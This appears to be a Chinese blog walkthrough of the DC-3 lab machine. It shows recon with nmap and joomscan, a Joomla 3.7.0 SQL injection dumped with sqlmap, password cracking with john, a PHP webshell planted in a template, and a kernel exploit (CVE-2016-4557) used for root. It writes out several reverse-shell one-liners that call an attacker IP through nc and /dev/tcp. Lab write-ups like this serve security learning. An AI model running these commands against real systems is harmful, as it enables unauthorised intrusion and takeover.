靶机渗透之DC-3

文章详细描述了渗透测试过程中,从信息收集、识别JoomlaCMS、SQL注入漏洞利用,到爆破登录凭证、获取shell并最终提权的过程,涉及了多个IT技术工具如Nmap、Joomscan、JohntheRipper和Linux漏洞利用方法。
摘要由CSDN通过智能技术生成

一、信息收集

这里扫一下网段,发现靶机地址为192.168.145.232

nmap -sP 192.168.145.* 

再扫一下端口,发现靶机开放了80端口

nmap -sT -T4 -p1-65535 192.168.145.232

然后我这里又扫描了一下网站目录

dirb http://192.168.145.232  

然后扫出一个网址,估计是网址后台的地址

浏览器打开看看有啥,是个登录页面,先不管它,待会看看能不能爆破一下

看看网站的cms,是joomla框架,系统为ubuntu

二、开始渗透

现在我们都把基本的信息收集完了,包括开放的端口、靶机系统、网站目录、cms等,然后我翻译了一下网站首页的英文,这个没有提示只能靠我们自己了。现在我们便可以开始渗透了

先试试能不能爆破出登录账号和密码,F12查看源码,发现是post提交登录的

然后我们用九头蛇爆破一下

hydra -L userList.txt -P passwd.txt -t 1 192.168.145.232 http-post-form "/:username=^admin^&password=^PASS^:Error" 

爆破出一堆账号密码,但是没一个是对的,说明弱口令爆破不行

既然不行那我们看看它后台的页面,也是一个登录页面

这里我又用九头蛇爆破了一下,也是爆破出一堆账号密码,但是依旧登陆不了啊。然后我就随便访问了一些网站目录,找到一堆文件,但是没啥用啊

然后想起它的cms是joomla,我就查了一下看看有没有专门扫描joomla的工具,没想到还真有啊。就是joomscan这个工具,那我们用它来扫一下这个网站

joomscan -u http://192.168.145.232/

这里可以扫描出它的joomla版本为3.7.0

去网上找找这个版本的joomla有无漏洞啥的,然后还真找到了,这个版本的joomla存在一个sql注入漏洞

再从网上找一下爆出的注入点

index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" 

然后sqlmap跑一下,先爆库。

sqlmap -u  "http://192.168.145.232:80/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" --dbs  

再爆表,其中有一个名为#_users的表

sqlmap -u  "http://192.168.145.232:80/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" -D "joomladb" --tables

最后再把这个表里面的列给爆出来,注意这里有个小坑,#__users是两个下划线滴

sqlmap -u  "http://192.168.145.232:80/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" -D joomladb -T '#__users' --columns 

最后再把username、password、email这几列的内容爆一下,爆出的密码是经过hash加密的

sqlmap -u  "http://192.168.145.232:80/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" -D joomladb -T '#__users' -C username,password,email --dump

我们使用john这个专门爆破哈希的工具来爆破密码,把密码放在password.txt里面

然后输入命令爆破

john --wordlist=/usr/share/john/password.lst --rules password.txt

因为我这里已经爆破过一次了,所以再次爆破的话会这样子

这个输入命令重新显示我们之前爆破过的密码即可,然后我们这里得到密码为snoopy

john --show password.txt

这时我们有了密码和账户,就可以去登录网站后台了,如果是登录网站的话里面没有东西。下面是成功登录的后台

三、getshell

现在我们要通过这个网站来获取到靶机的shell,先看看有没有文件上传的地方,通过我的不屑努力,终于在扩展->模板->第一个模板样式里面找到一个文件上传的地方

这里我试了试上传文件发现不行,但它这里可以新建文件,那我们就新建一个post.php然后写入一句话木马,下面是我已经写入的

现在我们已经把木马写入了,但是还不知道我们木马的路径,上网查查看能不能找到这个模板的存储路径。然后也是找到了好吧,路径为/templates/beez3。然后我们访问一下写入的木马,也是成功访问

最后蚁剑连接即可

四、提权

进入虚拟终端,先去看看root里面有无flag,但是没权限,好吧先提权

一开始我是直接在蚁剑这里提权的,但是不行,看了一下别人的文章他是这样说的,因为HTTP是瞬时协议,我这边正提权呢,你那边TCP四次挥手断开连接了,不能持久连接,所以蚁剑的作用就在于上传文件来反弹shell。好吧,既然蚁剑不行,那我们nc连接一下。发现靶机有nc,但是没有-e参数

直接祭出nc反弹shell常用命令

# 本地监听2333 端口
ncat -lnvp 2333

# 服务端反弹
nc -e /bin/bash 192.168.16.100 2333
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.100 2333>/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.16.100 2333>/tmp/f
/bin/sh -i >& /dev/tcp/192.168.16.100/2333 0>&1

kali输入命令监听2333端口

nc -lnvp 2333   

蚁剑那里输入

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.145.171 2333>/tmp/f

成功连接后再输入命令建立个交互式的shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

老规矩看看有无啥suid提权的命令,发现有个sudo

find / -perm -u=s -type f 2>/dev/null

看看sudo配置了啥命令,没想到还要输入密码,那应该是看不了了

sudo -l

看看sudoers,没权限。那看来suid和sudo提权都不行了

靠自己就只能走到这里了,然后就去看了下别人的wp,说是要利用系统漏洞提权。这里有两种方法发现漏洞,一个是用工具,一个是从kali漏洞库里面找。 linux-exploit-suggester这个脚本是用来检测系统是否存在cve漏洞,我们直接通过蚁剑上传到tmp目录,因为这个目录是存放零时文件的普通用户也有权限。

直接运行脚本,可以看到其系统漏洞还是挺多的,这里用这个CVE-2016-4557(注意漏洞存在的发行版本和内核版本要和靶机的一致)

./tiquan.sh

把它那个url里面给出的39772.zip下载到靶机里面,直接wget就行

这个我们在kali里面搜一下这个编号为39772的提权脚本怎么用,不知道为啥我这里路径显示不完整,正确的路径是这个/usr/share/exploitdb/exploits/linux/local/39772.txt,只要是提权脚本的使用方法,kali里面都是这个路径

searchsploit 39772 

打开39772.txt看看,这里要我们进入ebpf_mapfd_doubleput_exploit里面先运行compile.sh再运行doubleput.sh,我们直接按照它说的来做就行

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

先在靶机上解压刚刚下载的压缩包,解压后发现里面是2个压缩包

unzip 39772.zip

再继续解压exploit.tar这个文件,就会得到ebpf_mapfd_doubleput_exploit,然后我们进入里面运行脚本,先运行compile.sh

再运行doubleput.sh,然后便成功提权

最后再进入root里面便可找到flag

顺便说一下从kali漏洞库里面找到相对应的漏洞,其实和用脚本找漏洞差不多的,先查看靶机发现版本,这里是ubuntu16.04

cat /etc/*release

再看看其内核版本,版本为4.4.0-21

在kali漏洞库找找这个发型版本的漏洞,也是有挺多的,发现有我们刚刚脚本找到的那个漏洞,可以用这个也可以试试其他的,这里我就不试了。后面漏洞提权的步骤和上面的一样就不多说了。

searchsploit ubuntu 16.04

五、总结

这个靶机比DC2和DC1稍微难点,主要涉及joomscan、john、 linux-exploit-suggester等工具的使用,还涉及系统漏洞提权。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值